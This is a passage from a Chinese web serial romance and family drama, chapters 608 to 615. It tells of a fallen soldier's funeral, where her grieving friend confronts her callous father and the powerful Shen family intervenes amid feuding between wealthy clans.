若她只是贫困山窝里爬出来的凤凰,人们虽然敬畏然不会如此诧异,人越是在一无所有的时候的逆境越是容易抛下所有,但周绮姗出生就拥有了一切,她抛弃了自己的阶级,选择了为云乡百姓献祭。 这份强大与坚韧,一时间感动了无数A国民众,周家因此获利,甚至有些人开始主动替周宴珩辩解。 “周家一直在澄清,说全权交给司法,周绮姗这么好,教育出她的家人又能坏到哪里去呢?说不定真的是我们误会周家了。” 但也有理智的网友表示:“周绮姗是周绮姗,周宴珩是周宴珩,龙生九子各有不同,不能一概而论。” 不过很快又有一波新的声音碾压,“能同意周绮姗加入313军营,周家人的觉悟已经摆在那了,这么多年,权贵顶流里也只有那位英年早逝的沈元帅做到了。” 都说风水轮流转,鲸港贵圈的大佬们怎么都没想到,两年前,周绮姗还是太太圈里的笑柄,用来教化女儿的反面教材,但短短两年时间她就做到了鲸港所有人女子都做不到的高度。 全鲸港如今都在传,313师精锐连扛着二等功勋的牌匾敲响周家的院门时,周老爷子亲自出来接匾,周家甚至打破了周家女子不可入主祠的规矩,特意为周绮姗立了功德牌与周家列祖列宗同受香火。 这,可是历代周家主家死后还有的荣誉。 * 周家满院白丧,周绮姗死无全尸,所以灵堂供奉的只有一块冰冷冷的功德牌。 “她怎么那么狠啊,当初说什么都不听,说什么都不听,现在让我可怎么活啊。我该死啊!我该死了!”徐文佩抱着周太太,撕心裂肺地哭喊,这一刻,她是真的恨透了自己,她天生懦弱,不是一个合格的母亲,不然女儿也不会走到这一步。 周太太也大悲了几回,眼里满是血丝,“担心身体。” 徐文佩哭得上气不接下气,几经晕厥。 周元义原本在招待前来吊唁的客人,听见这边的动静,立马冷着脸冲上前呵斥,“行了行了!实在不行去旁边冷静一下,今天来的都是贵客别像个疯妇一样丢人现眼。” 周太太看不过去,帮着徐文佩回怼,“三弟你这话说的太过分了,阿珊是文佩肚子里掉下的一块肉,你叫她怎么冷静?” 周元义自然不敢给周太太脸色,陪着笑,“大嫂,您误会了,我不是这个意思。” 说着便忍着脾气轻轻拍了拍徐文佩,“我知道你难过,但事情已经发生了,再伤心也总得面对不是?老爷子已经给了阿珊所有的体面,连灵位都进了主祠,阿珊泉下有知也该没有遗憾了,她执意出去不就为了这个吗?如今她也算得偿所愿了。” “放你娘的狗屁!” 没等众宾客反应过来,一道身影突然冲了出来,对着周元义的脸踹了上去。 …… 第609章 我要带她走 “砰——” 一声巨响,周元义应声倒下。 徐文佩两眼含着的泪水被吓得戛然而止,她怔怔抬头,在一片黑暗的阴影里看见了一双亮得吓人的眼睛。 “你们……也配为人父母吗?” 徐文佩眼里的瞳光骤然紧缩,这话好似一把利刃刺进了她的心脏。 当初,女儿问她,“生而为女,我有罪吗?” 徐文佩如同没有意识的傀儡机械般扭动着脖子,花圈满屋,贵宾满座,但这些都是用阿姗的命换来的。 她成了英雄的母亲,但也因此彻底失去了女儿。 徐文佩一下瘫软在地,原本崩腾的眼泪在这一刻忽然安静了。 “哎哟!”周元义捂着被撞上的额角,表情阴鸷看着眼前穿着一身素缟的女孩儿,“混账玩意!管家,有人闹事,还不赶紧她给我抓起来!” 周国潮正在主厅招呼客人,听见灵堂那边有动静,立马带着人上前察看,“怎么回事?是谁在闹事?” 灵堂前原本还有人在交头接耳,周国潮一来所有人当即噤声。 周国潮脸上看不出丝毫悲伤,目光平静逡巡了一圈最后才落在苏妙身上,“你是来闹事的?” 苏妙紧紧握拳,两年前她尚且需要姜花衫陪同才敢与周家老爷子对峙,但现在,悲伤已经占领了她所有的情绪,她变得无所畏惧。 “我要来带阿姗走。” 这话一出,围观的宾客纷纷变了脸,表情微妙看向周国潮,敢在周家主家撒野,苏家小丫头莫不是疯了? 没等周国潮发火,周元义先怒了起来,指着苏妙大骂,“我的女儿,你凭什么带走,你算个什么东西?!” 周元义对周琦姗并不了解,他甚至不知道眼前这个女孩儿是他女儿最好的的朋友,当然,哪怕知道,眼下这个局面他也不会有什么好脸色。 苏妙冷冷看向周元义,“你的女儿?你配吗?” “嘿?”周元义撸起袖子,“我今天就要让你知道在周家撒野会是什么下场!” 周太太眼看局面不受控制,正要上前,却被周元白护了回去,周太太知道丈夫的意思,但她还是不忍苏妙受伤,转头劝道,“妙妙,你要真为了姗姗,现在就赶紧走。” 苏妙摇头,一脸固执看着周国潮,一字一句铿锵有力,“我、要、带、她、走!” 周国潮至始至终冷着脸,他并未把苏妙的挑衅放在眼里,极其随意摆了摆手,“把她赶出去。” 周家的保镖立马上前,一左一右压住她的胳膊。 苏妙神情癫狂,死死瞪着周国潮,“她已经死了,为什么连死了你都放过她?” “胡言乱语,看来苏老这家规真是越来越不像话了。拖下去。” “放开我!放开我 !啊!”苏妙奋力挣扎,血丝鲜红看着满庭花圈里孤零零的灵牌。 周宴珩的案子已经递交到了司法仲裁委,司法委哪敢真办?不过是碍于舆论的压力一拖再拖,周家看似高调祭拜,实际不过是想利用周绮姗这波身后名为周宴珩镀金。 什么入主祠受香火祭拜?若没有周家,以周绮姗的功勋是可以入国陵受万民香火的!万一周宴珩之后还有什么雷点爆出,周绮姗以死换来的功勋都有可能受到反噬被万人唾弃。 所以她恨!恨这些魔鬼竟对她残忍至此,但她更恨自己,双臂的桎梏比钢铁还硬,现在的她无力带她去任何地方,也给不了她真正想要的自由。 终于,苏妙忍不住嘶声痛哭了起来,“您放过她吧!让她好好安息吧?算我求您了!” 苏妙的动静越闹越大,连同二楼的客人也一并惊动了,周宴珩领着众人下楼,正好看见苏妙被人拖着经过大厅。 乔金锦愣了愣,犹豫片刻从人群里跑了出来,一把拉住动手的保镖,目光恭敬看向周国潮,“周爷爷,怎么发这么大的火?” 关鹤对于乔金锦突然冲出去也有些莫名其妙,但对于好兄弟他都是仗义的,生怕乔金锦惹了周国潮不快,立马上前帮着说话,“周爷爷,是不是这死丫头说错什么话惹您生气了,她一向疯疯癫癫的,你大人不记小人过,看在今天是阿姗的重要日子就算了吧?” 说罢,还不忘回头朝周宴珩使眼色。 周宴珩瞥了他一眼,转头看向周元义,“三叔这是怎么了?” 周元义对周宴珩向来是阿谀奉承,哪怕已经气到了极点,周宴珩问话他立马收敛了脾气,指着苏妙怒道,“这死丫头上来就踹了我一脚,把我打成这样?她还大放厥词说要带我女儿走,闹事闹到家门口来了?不给她一点教训简直天理难容。” 乔金锦眉头微蹙,不动声色挡在苏妙面前,“人在大悲之后很容易情绪崩溃,听说苏家小姐和阿姗是刎颈之交,她大概是伤心过度才会如此,周爷爷心疼阿姗,就算是看在她的面子把人请出去就好。” 关鹤看了乔金锦一眼,连忙帮着附和,“就是就是。” 坐在一旁的关楼见状,捂着额头连连摇头,这个傻儿子,人家说那么多,他就只会就是就是,这还怎么争? 关键时间还得是靠他爹。 关楼起身,慢慢走到人群里,“周老,年轻的孩子哪经过什么事?生死已经是她们的极限了,这不恰恰说明姗姗交了一个好朋友吗?” 什么好朋友,这死丫头差点一脚把他送走,周元义捂着血流不止的伤口,敢怒不敢言。 周国潮思忖片刻,抬了抬手,“请出去。” 一字之差,千差万别。 身后的保镖立马卸了蛮力,恭恭敬敬做了个请的手势。 苏妙死死看着隔着重重花圈的灵牌,手指紧握,“我想进去祭拜。” “不行!”周元义横眉冷对,“让你出去已经算是客气了,谁知道你发疯又会做什么事?出去……” 苏妙忍着泪水,“我不会做什么,我就看看她。” “不行,你可不要得寸进尺……” “拜个人就是得寸进尺,你们周家人的气量未免也太小了?!” 不等周元义说完,厅外忽然传来一声冷笑,声音不高不低,但嘲讽味十足。 …… 第610章 气死他们! 这个声音。 苏妙眸光惊颤,苍茫回头,在看见有人小跑着闯进主厅时,她眼里的泪水顷刻间夺眶而出。 姜花衫穿着一袭简单的黑色长裙,乌发雪颜,她出现的瞬间光影有了聚焦,她抬脚,莹白的脚踝刚跨过门槛,突然身后伸出一只手,把她拽了回去。 沈庄点了点她的额头,“没规矩,往后站。” “……”姜花衫也是没脾气,哦了一声乖乖站在沈庄身后。 她正要探头,沈兰晞、沈归灵、沈清予三人跟约好了一样,一左一右挤到了第二梯队。 “……” 沈眠枝拉了拉她的手,“你刚刚跑太快了。” 傅绥尔补刀,“爷爷为了追你,差点连鞋都掉了。” 姜花衫,“……” 沈家人的到来让在座所有人大吃一惊,纷纷上前寒暄。 周国潮也没想到沈庄竟然会亲自前来悼念周家一个小辈,别人看不出这场悼念会的深意,沈家不可能不知道,沈庄这个时候出现对周家的助力也不是一星半点。 司法委员会那边也有沈家的人,沈庄今日露面,司法局那边便没有悬念了。 “沈老怎么亲自来了?”周国潮毕竟是经历过大风大浪的,很快收敛情绪,主动上前迎接。 沈庄轻叹了一声,“国之义士谁能不敬?我亦深受感动,姗姗我也曾有过几面之缘,如今她走了,我来看看也是情理之中。” 周国潮点头,“沈老请。” 沈家几个小辈个个龙章凤姿,六人黑衣素缟,执香齐叩英魂的画面将千年底蕴的世家大族演绎到了极致。 沈庄上了香,转头看向堂下,“方才进来的时候听见里面有人闹事,周老,可是有人对小姗不敬?” 周国潮看了苏妙一眼,他心知这丫头跟沈家丫头走得近,刚刚进厅时的那声嘲讽言犹在耳,沈庄这个时候问,自是不可能是为周家讨公道。 他正犹豫怎么回,周元义按耐不住,率先出声,“沈老爷子,可不就是这死丫头,她出手伤人不说还大闹我女儿的葬礼。” 姜花衫扯着嘴角笑了笑,之前周绮姗碌碌无名的时候也没见周元义一直把我女儿三个字挂在嘴边,现在人死了倒是认得快。 苏妙缓缓松开麻木的指尖,深吸了一口气,“我想祭拜她。” 周元义,“不行……” “为什么不行?” 苏妙愣了愣,这话不是她问的,是姜花衫问的,她眼里的委屈一下涌了上来,正要哭,姜花衫掉头恶狠狠瞪了她一眼,“不许哭。” 凶完,转头看向周元义,又问了一遍,“为什么不行?” 周元义有些懵圈,碍于沈庄的威慑,他清咳了一声,“她是来闹事的。” 姜花衫,“你耳朵聋了,人家刚刚说的是来祭拜你女儿的,你当面栽赃?” 话落,一旁的傅绥尔捂嘴笑了起来,嘲讽值瞬间拉满。 “你……”周元义气得脸色黑红,抬头看了沈庄一眼,见老爷子还点头附和便知是踢到铁板了。 未免丢了周家脸面,他冷下脸指着额头,“我这额头的伤就是她踹的!” 姜花衫眯眼看了看,“脚滑而已,她肯定是因为太伤心了,一时没注意,你一个大人怎么还跟个孩子计较?!” “我……”周元义从来没和姜花衫打过交道,见小姑娘长得漂亮以为不足为虑,没想到这么难啃,气道:“踢成这样你说是脚滑?” 姜花衫,“那只能说明是你站的角度不对,或是你的骨头太脆弱了。您这么大的人了,凡事应该多找找自己原因,这样才有利于您进步。” “哈?”周元义差点没被气死,正要说话被周元白拉了回去。 周国潮神色淡然,“沈老?” 沈庄笑了笑,拄着拐杖点了点脚下的地砖,“周老,我孙女儿说的没错,凡事多从自己身上找原因才有利于进步,砖太滑了就让人多擦擦,别老想着欺负一个孩子。” 周国潮眉头微蹙,不知想到什么,回头看向隐藏在花圈里的灵牌,闭了闭眼,“罢了,去吧。” 苏妙顿时眼睛一亮,直接冲向了灵堂。 周国潮缓缓抬眸,勉强笑了笑,“沈老,这边请。阿珩,招呼好大家。” 周绮姗的葬礼,鲸港圈排得上号的平辈几乎都来了,主事的大人在主厅谈事,小辈们则被安排在偏厅联络感情。 周宴珩领着沈家众人去了二楼,此时偏厅早聚集了一群年轻男女,余笙、顾玉珠、顾彦等人也在其中。 楼下的冲突他们都看在眼里,但碍于这是周家的家事便只能冷眼旁观。 原本一群人正在低头聊天,沈家人一加入,立马拆分成了几派上前搭话。 沈兰晞自带权势光环,几乎所有人都向着他围拢,余笙自从上次被沈归灵当众拒绝后,收敛了许多不再痴缠,反而主动与傅绥尔交好。 顾玉珠领着一群新贵小姐缠着沈眠枝,沈清予被顾彦拉进了另一派的少爷圈,说来也是好笑,沈家一入偏厅就被瓜分干净了,只剩姜花衫和沈归灵两两对望。 姜花衫因为长得太漂亮加之刚刚在堂下锋芒毕露,女生们觉得她不好相处故而敬而远之,男生想靠近又怕被周家记恨,不敢明目张胆。 沈归灵就有些冤了,明明他与沈兰晞同为一门双将,就因为他还有个私生子的身份,所以只要沈兰晞在场,即便有些人有心也不敢光明正大与他接触。 这种感觉就像,我喜欢这个珠宝,但我不会在重要场合佩戴出席。 姜花衫倒是无所谓,反正也不爱搭理这些傻叉,但沈归灵被这么对待,她多少还是有些想不通。 她环顾一圈,发现以沈兰晞和周宴珩为中心的狗腿特别多,沈兰晞那边的狗腿还看不出什么敌意,周宴珩那边光眼神就能看出恶意。 打量时,眼神游离正好与周宴珩相撞,她直接翻了个白眼掠过,回头拉了拉沈归灵,“你跟周宴珩结梁子了?” 沈归灵嗯了一声,偏头挨着她的耳侧,“是有一点。” 姜花衫皱眉,“那我们出去,不受他们这闲气。” 沈归灵笑了笑,忍住想要吻她的冲动,“我不气,现在最气的是他们。” …… 新裙来了~今天特意早点更新大家应该都能看到了~ 第611章 混战 “阿珩,那死丫头还敢瞪你!”关鹤眼尖,一看见姜花衫翻白眼立马告状。 周宴珩不冷不热收回目光,转头招呼二楼的管事阿姨,“去给客人添茶。” “是。”阿姨立马推着茶车加入了被孤立的二人组。 沈清予原本正偏头和顾彦说话,转头看见姜花衫竟然被一群女生孤立,心里顿时有了躁意。沈归灵那个傻逼就算了,小花儿这么招人喜欢,这些人怎么也是这德行?都瞎了眼? 他正要起身,端茶的阿姨突然手滑,半烫的花茶打翻溅湿了姜花衫的裙摆。 沈归灵皱了皱眉,眼下飞快闪过一丝厉色,低头查看,“有没有烫着?” 二楼偏厅铺了一层厚厚的地毯,茶盏落地的声音几乎可以忽视,没等众人反应过来,人群里四个人已经站了起来,从不同方向汇聚一点。 姜花衫还没来得及回答,刚抬头眼前立下四道黑影。 傅绥尔是女生,毫不避讳拉着姜花衫的手上下翻看,“伤着没有?” 姜花衫摇头。 沈眠枝拿着纸巾递给她,“衣裳湿了,会不会不舒服?” 沈兰晞低眸看了一眼,转头打量起送茶的阿姨。 阿姨完全没想到眼前怎么一下变成了六个人,吓地直打哆嗦,“唉哟!姜小姐,对不起对不起,我不是故意的。太太有备……” “怎么这么不小心?”周宴珩突然出现在身后,状似不经意打断了阿姨的话,“把这里收拾一下,换个手脚稳妥的过来。” 阿姨眸光微怔,少爷之前可不是这么吩咐的,但这不是她一个佣人该想的事,阿姨连忙应声,跪地收拾好地上的残局,起身对着姜花衫深鞠一躬小心翼翼退下了二楼。 周宴珩笑了笑,挑不出的有礼貌,“今日客人多,难免会有招呼不周之处,姜小姐没事吧?”虽然有沈清予和沈兰晞两个门神在前面挡着,但他依旧毫不在意直接与姜花衫对话。 4 姜花衫哪会看不出这狗东西的坏心思,以前就没少用这招把她钓出去,现在还当她像以前这么好钓? 看不起谁?! “阿嚏~”姜花衫捂着鼻子故意打了个喷嚏,“怎么办?我好像感冒了。” “……”周宴珩挑眉,身体还挺虚。 葬礼还未结束,突然离席对死者不敬,衣服弄湿换身备用的即可,但姜花衫说自己不舒服显然是走,沈归灵秒懂,抬头看向沈兰晞,“兰晞哥,情况特殊,我先送衫衫回去,麻烦你跟爷爷说一声。” “……”沈兰晞撩眸看着他,眼里的情绪晦暗不明,“你说什么?” 姜花衫皱眉,“让你帮忙跟爷爷说一声,不是说的很清楚吗?” 沈兰晞怎么回事,他难道看不出那个女人是故意泼她的吗,关键时候怎么总是掉链子? 沈归灵掩下愉悦的眸光,嘴角忍住上扬。 沈兰晞不动声色看着她,众人见状神情立马变得微妙起来,这姜花衫也太骄纵了,她是不是忘了自己只是个养女,沈兰晞可是家族太子爷,她敢这么跟沈兰晞说话,简直是不知天高地厚。 就在众人以为沈兰晞会给她个教训时,太子爷撇过头,像是跟谁在闹,“我不去。” 众人:“……” 姜花衫也不惯着他,翻了个白眼,拉了拉沈清予的袖摆,“他不去,你去。” …… 第612章 被需要,被偏爱 两人在众人的注视中高调退场。 一楼还有许多前来吊唁的宾客,大多数人并不知道姜花衫和沈归灵的身份,见两人并肩下楼还以为一对儿,不由看直了眼睛。 沈归灵牵着姜花衫的手穿过人群,注视的人越多,他牵得越用力,到最后姜花衫的手都被捏痛了。 “沈……” 姜花衫皱眉,正想提醒沈归灵松手,转过头就被他眼里的冷漠吓住了。 能上二楼的人非富即贵,宾客鱼龙混杂,不少人都是带着攀附之心来的周家。 姜花衫和沈归灵气质不凡,他们之中已经有人蠢蠢欲动,但见沈归灵一副不好相与的模样立马又退了回去。 姜花衫默默收回目光,把抱怨的话吞了回去。 在她心里,沈归灵一直都是一个很会控制情绪的人,他鲜少表露真实的自己,像眼前这样毫无顾忌展示自己的棱角更是从未有过,难不成是真生气了? 正想着,转眸便看见周元义领着左右两个保镖正在驱逐苏妙。 “你看也看了,拜了也拜了,现在可以走了。我可警告你,要不是看在苏家和沈家的面子,你今天这一脚没这么好糊弄。” 苏妙完全沉浸在悲伤中,眼里空洞麻木,她被周元义恶意推了一把,身体后仰迟钝地如同锈掉的人偶。 姜花衫瞬间没有了迟疑,一把甩开沈归灵冲上前接住了苏妙,冷着脸打量周元义,“你刚刚是不是动手了?” 周元义没看明白姜花衫又是从哪钻出来的,一脸晦气收敛了态度,“不过是轻轻碰了下,是她身体太弱。” “我没事。”苏妙轻轻拂开姜花衫的手,默默看着周琦姗的灵牌流泪。 原本上流圈的太太们就质疑过周琦姗的性取向,苏妙表现得这么难分难舍,吃瓜群众看在眼里神情不觉变得微妙起来。 姜花衫一眼看出这些人的龌龊心思,故意拉着苏妙往外走。 “周绮姗欠你的,身死债消,你这么盯着你的钱也要不回来,没看见人家对你的态度吗?赶紧走。” 苏妙愣了愣,略带不解看着姜花衫,虽然不明白姜花衫为什么要这么说,但她知道总有原因。 姜花衫低头,声音极轻,“她不是一个不守诚信的人。” 苏妙眼睑轻轻颤动,眼里的阴霾骤然驱散,她细细回味这句话,眼里的光越聚越拢慢慢有了焦点。 这话但凡换个人说,都不会有这么大的能量,但姜花衫不一样,她见过苏妙的来时路,也知道周琦姗对苏妙意味着什么,所以她绝不会在这件事上欺骗苏妙。 苏妙紧紧回握姜花衫的手,目光深沉看着眼前的灵牌。 姜花衫知道她在想什么,拍了拍她的肩膀,宽慰道:“走吧,这件事未必没有转机。” 苏妙抬头,满脸不可置信,“转机在哪?” 她说什么都不能让周绮姗被周家卖进主祠,她如果还活着,就更不应该被周家控制。 姜花衫皱眉,点了点她的脑子,“反正不在你身上,下次做事多用点这里。” 虽然这么说,但她实际并未真正嫌弃苏妙。 若苏妙连周绮姗的生死都能冷静自渡,那她就不是拥有善良底色的苏妙了。 哪怕是姜花衫自己,也不敢保证再重新经历一次沈庄的死亡,她会做的比苏妙好。 “走不走?!” 周元义的嘴脸甚是难看,几番驱逐连周太太都看不下了,正要上前打圆场,苏敬琉领着苏家老小浩浩荡荡进了主厅。 “我这刚进门就赶客,周家好大的规矩。” 周元义不过看苏妙是个养女且孤身一人才敢如此轻视,说白了就是欺软怕硬,苏家人一露面,他立马换上笑脸,“苏老爷子。” 苏敬琉冷哼了一声,大步走到苏妙跟前,见她脸色憔悴眼睛红得不像话,一时也不知该说什么。 他猜到苏妙一定会来周家,故而一早就打电话告知苏妙一定要跟着家里人一块来,没想到她依旧我行我素。 这两年为了和苏家撇开关系,苏妙是能不用苏家的关系就不用,能不回家就不回,苏敬琉看在眼里,说不心寒是假话。 苏妙低着头,“爷爷。” 苏敬琉冷着脸,“现在知道喊了?被欺负了怎么不知道告诉他们我是你爷爷?” 周元义吓得心漏了一拍,这话怎么听着像是在点他? 苏家气势不小,苏韵和苏灼也是年轻一辈的佼佼者,一出现立马吸引了大部分注意力。 沈归灵趁着火力被转移的空档,见缝插针,伸手轻轻勾了勾姜花衫的掌心。 “苏家人来了,苏妙不会有事了,我们走吧。” 被挠过的掌心又酥又麻还有点痒,姜花衫还没反应过来,他的指尖轻轻穿过指缝,灼热的掌心与她紧紧厮磨。 姜花衫吓了一跳,头皮发麻。 沈归灵疯了?! 她莫名觉得有点羞耻,虽说私底下比这更过分的事都做了,但好歹没人看见。 众目睽睽,十指相扣,这对以兄妹之名的他们来说是不是有些过于暧昧了。 姜花衫没忍住,回头瞪了沈归灵一眼,拉着他手,头也不回往外冲。 重重人影,她即便是心惊胆颤,唯一的念头也一起逃,而不是甩开他的手。 * 第613章 假意里的真情(齐) “死丫头,下脚够狠的。” 周元义指着额头包扎好的伤口,满脸阴沉,“你还愣着做什么,赶紧拿个什么粉给我遮遮?好不容易今天长回脸你就让我这样出去?” 等了一会儿,没听见动静,周元义转头看向身后,徐文佩神情恍惚,一点反应都没有,他看得厌烦,站起身用力推搡她的肩膀,“现在又没有外人,你做出一副死人样给谁看?” 徐文佩栽倒在地,眼神涣散看着他,“元义,我们的女儿死了。” “她敢背离家族入伍就该想到会有今天的结局。” 不过不得不承认,这个女儿也算争气了,老爷子破格让周绮姗入主祠,连带他这个父亲也跟着沾光,这次的葬礼他还被允许抱着周琦姗的灵牌入祠,这在以前周元义想都不敢想。 谈起女儿的离世,周元义脸上没有一丝悲痛,嘴角甚至还挂着夙愿达成的欣喜,徐文佩面无表情看着眼前的他。 周元义强势惯了,见徐文佩神情枯槁反复老了十岁略有嫌恶,“你还不赶紧收拾一下,过几天阿珩的案子就要判了,老爷子特意请了一批时政记者,待会儿我们还要以烈士亲族的身份接受访问,你这副模样是想丢我的脸吗?” 徐文佩半晌还是微动。 “你是要造反了,再摆着这副哭丧脸信不信我休了你?!” “休?!”徐文佩终于有了一丝反应。 如今这个年代,婚姻都讲和、离,周元义竟然跟她说休,原来她的丈夫根本从来没有尊重过她。 这么多年,周元义对妻子一直都是呼来喝去谈不上半点尊重,见她终于有了反应便自信以为是威胁起作用了,一脸自得,“知道害怕了?知道改不赶紧给我爬起来,我告诉你,今天这一出事关重大,你要敢掉链子别怪我不顾这么多年的夫妻情分。” 徐文佩慢慢爬起身,神情麻木抚弄并肩的碎发,周元义依旧不满意,骂骂咧咧,“你都已经人老珠黄了再装扮也是这死鱼样,赶紧的,先拿个粉给我遮遮,到时候记者问话你少插话就行。” 徐文佩没有反应,起身走向妆台。 周元义暂时满意了停止了谩骂,对着镜子一会儿整理领带一会儿摆弄神情,葬礼上他还有单独发言的环节,周元义光想想就抑制不住的兴奋。 “叩叩——” 这时,门外响起了周管家的声音。 “先生。” “来了。”周元义赶紧上前开门,“是不是老爷子催了?我马上过去。” 周管家摇头,“老爷子让我来通知您一声,葬礼提前结束了,绮姗小姐的送回烈士陵园了。” 徐文佩的指尖微顿,猛然转头看向门外。 “什……什么?”周元义以为是自己听错了,表情错愕,“周管家,你开什么玩笑?” 周管家,“先生,我没有开玩笑。” 周元义想也没想,一把推开周管家,脚步飞快朝书房跑去,路过主厅时,见客人们已经走了一大半,心下凉了一大截。 “先生!” 周管家跟在后面追了上来,“先生,您不用白费气力了,老爷子交代,不见任何人。” 不见人?周元义越想越不对劲,一把揪住周管家的衣襟,“到底发生了什么事?老爷子怎么会突然改变心意?说!” “老三!你做什么?” 周元白刚送完一批客人,回程时正好看见周元义和周管家在拉扯,立马上前把两人拉开,“家里还有客人,被人看见了像什么话?” 周元义根本不在乎这个,转头看向周元白,“大哥,你知道发生什么事了吗?老爷子怎么会突然改变心意?明明说好的让姗姗住家族主祠,怎么又把灵位送到烈士陵园去了?” 若周琦姗入了主祠,勉强也算半个小家主,他作为周琦姗的父亲能跟着沾光不说,死后说不定还能跟着入主祠,现在老爷子突然把灵牌送到烈士陵园,这些名利都将化作泡影。 周元白对于周老爷子突然改变主意也是一头雾水,那边司法仲裁局那边的案子马上就要判了,这边葬礼才举行到一半马上就要入宗祠,老爷子这主意改得实在太过草率了,完全不符合他平时谋划的风格。 思忖片刻,周元白转头看向管家,“父亲刚刚可有接见什么人?” 周管家摇头,“老爷子被苏老气回房便一直没有出来。” 周元白和周元义相互对视了一眼,眼里的疑虑越来越深。 * 屋内,周国潮坐在床边,满是皱纹的手掌轻轻摩挲着粉色的花边,床面上铺满了一件又一件的小孩衣裳。 “爷爷从没想过你要成为什么样的人,爷爷只希望你能好好长大。” …… 第614章 契约 说了这么多,总结就是:我随大流,也不喜欢她。 刚刚还敢在家里对烈士英魂大放厥词,现在却连表达自己的观点立场都不敢了,到底是上不了台面。 老太太在心里暗叹了一声,冷冷道,“人家要改什么?沈家今早连发了三百张邀请函为姜花衫庆祝十八岁成人礼,这三百张邀请函对外宣称皆是A国顶流豪族,但这里面没有顾家、没有周家、没有和你交好的任何一家,甚至连总统余斯文都不在邀请范围之内,但讽刺的是,副总统在邀请之列。” 顾玉珠也不是傻子,当即听出了老太太的话外之音,一脸难以置信,“不……不会吧?沈老爷子这是什么意思?他难道不怕得罪咱们……” 沈庄怕什么?只要他愿意,沈家完全可以成为第二个白家。 老太太闭了闭眼,言语中隐隐有了疲惫,“得罪?一群‘三教九流’联合起来孤立他沈庄的孙女,还敢当着他的面挑衅,你们怎么敢?现在人家要告诉你们,谁才是真正的正统?” 不仅如此,沈庄这是明晃晃地在敲打他们身后这些老东西,沈家从不融圈,只创圈,他们敢纵容家里小辈孤立他的孙女,他就重新洗牌,把不听话的都踢出去。 这行事风格,仿佛回到了那个红楼少年初回鲸港之际,沈家嫡族覆灭,当初谁都看不上沈庄,但偏偏就是这个纨绔幼子以一人之力搅动A国风云。 当年沈庄最盛之时,A国曾出现过沈家之下没有豪门。 英雄暮年,谈及从前也就只有他们几个老东西知道厉害,沈庄这是在提醒所有人,他只是老了,并不是死了。 顾玉珠不曾经历过群鱼争食的时代,所以不懂鲸王时代的碾压,听完顾老太太的话,唯一的想法就是姜花衫命好的过分,竟然遇上沈老爷子这么护犊子又不讲理的人。 “嗯?都在呢?” 说话间的功夫,沈清予慢悠悠从外面走了进来,随意扫了主厅一眼,打了声招呼就准备上楼。 “清予。”顾老太太站起身叫住他。 沈清予脚步顿住,转头看向老太太,“嗯,您叫我?” 老太太知道他是故意装傻,皱眉瞪了一眼,“你跟我来。”说着脚步蹒跚往楼上走去。 沈清予犹豫片刻,上前搀扶,老太太一把推开他,“不用,我自己能走。” 转眼功夫,两人一前一后不见了人影,只留下顾玉珠和顾彦面面相觑。 顾玉珠想说什么又怕挨骂,只得把怒火撒在顾彦身上,“你要再这么畏畏缩缩,顾家迟早没你的位置。” 顾彦有些无奈,“好好的怎么又说这些?” 顾玉珠看见他这不争气的样子就心烦,“懒得跟你说,你就自己蠢死去吧!” 以前没经历过避暑山庄的事她还不觉得,但见识过白蒂娜和周宴珩怎么支配那些贵族后,她忽然明白一个道理。 处在权利旋涡,没有权势就是原罪。哪怕她生在顾家这样的顶级家族,只要没有人撑腰,一样会被沦为践踏的工具。 若想不被人践踏,就得力争上游。 * 上了二楼,顾老太太把沈清予带去了书房。 “把门关上。”老太太吩咐了一声,转头往里屋走去。 沈清予掩好门,回身便看见老太太端坐在软榻上,手里还捧着一个老式的梳妆匣。 沈清予略有疑惑,刚走到跟前,老太太将手里的木匣递给他。 “打开看看。” 沈清予双手接过,匣子不沉,似乎没装什么东西。 他先看老太太一眼才揭开木盒,待看见里面的东西后,黑色瞳仁微颤,眸底满是错愕,“这是……” 木盒里不多不少摆着四本小本子,两本结婚本,还有两本……离婚本。 结婚本他能理解,但……为什么会有离婚本? 沈清予拿起其中一本离婚本,里面的纸页微微泛黄,签章的日期已经是三十多年前了。 “你的外公身体一直不好,离世之前家族里的兄弟表亲就已经有了争夺财产的心思。那个时候你舅舅才三岁,你母亲刚刚出生,我又不曾经历过事,你外公怕我应付不了这些,便求着我把婚离了。” 老太太用极其苍老的声音缅怀着过去,“他说顾家这些家业他都可以不要,唯求我能过的舒心顺遂,一纸离婚协议能保证我拿到安度此生的财富,族中定不会让我把你舅舅带走,让我只带着你母亲远走高飞。” 沈清予心绪微动,目光从眼前的离婚书转移到了顾老太太脸上。 “那您……” 老太太笑了笑,低头抹去眼角的湿润,“他不负我我又怎么能负他?他临死前都在为我筹谋,我又怎么能舍下我和他的孩子?我签下离婚书是为了让他走的安心,继续留在顾家,是因为我死后还想去见见他。” 孤儿寡母要在群狼环伺险地杀出一条血路,这其中老太太付出了多少可想而知。 沈清予将手里的木匣合上,蹲身半跪在老太太脚下,“婆婆,您想跟我说什么?” 老太太轻叹了一声,她已经不再年轻,饱含沧桑的眼角满是皱纹,“清予,婆婆有婆婆的立场,这些立场婆婆不会为任何人改变,哪怕是你们也不行。” 沈清予点头,“我知道。” 所以他从未指责过老太太什么。 “清予。”顾老太太抬手摸了摸他的额头,目光缱绻看着眼前的木盒,“婆婆老了,也不知道还能再活几年了,婆婆只想以后到了地下遇见你外公,能亲口告诉他一句,顾家,我守住了。” “你舅舅平庸无大才,阿彦优柔寡断,阿珠更是不堪重用,我若不为顾家谋划,早就被他们活吞了连骨头都不剩。” 老太太缓缓抬眸,眼里满是不舍,“你能原谅婆婆吗?不要再跟婆婆置气了行不行?” 沈清予低头,忽然觉得手里的木匣变得格外沉重。 他缓缓道,“婆婆,我与您也立个契约,怎么样?” “我以沈姓为您开辟顾家百年荣耀,待我功成身退,我不会带走顾家一分一毫,但我有一个要求,在我有生之年,沈顾两家绝不能为利相残。” “我若背弃誓言,便让我尸沉鲸港湾魂无安处。” …… 第615章 生日会 余家。 余斯文挂了电话,转头看向一旁的余笙,“沈家的邀请宴你收到消息了?” 余笙正在整理某场社会活动的演讲报告,听了这话,眸光微动,轻轻搁笔摇头,“没有。” 说完,她停顿片刻又继续补充,“我问过其他交好的同伴了,她们也都没有收到。” 余斯文想了想,语气平静,“这么看来,你那天的发言还是激进了,沈家这么一出显然是往心里去了。” 余笙眉头微蹙,心绪忽然乱得不行。 察觉到女儿心态的转变,余斯文放下手头的工作,认真打量她,“你从来不做没有把握的事,那天怎么突然想到要做出头鸟?” 余笙看了父亲一眼,略微有些自责,“我给您添麻烦了?沈家的孤立会让您失去很多助力?” 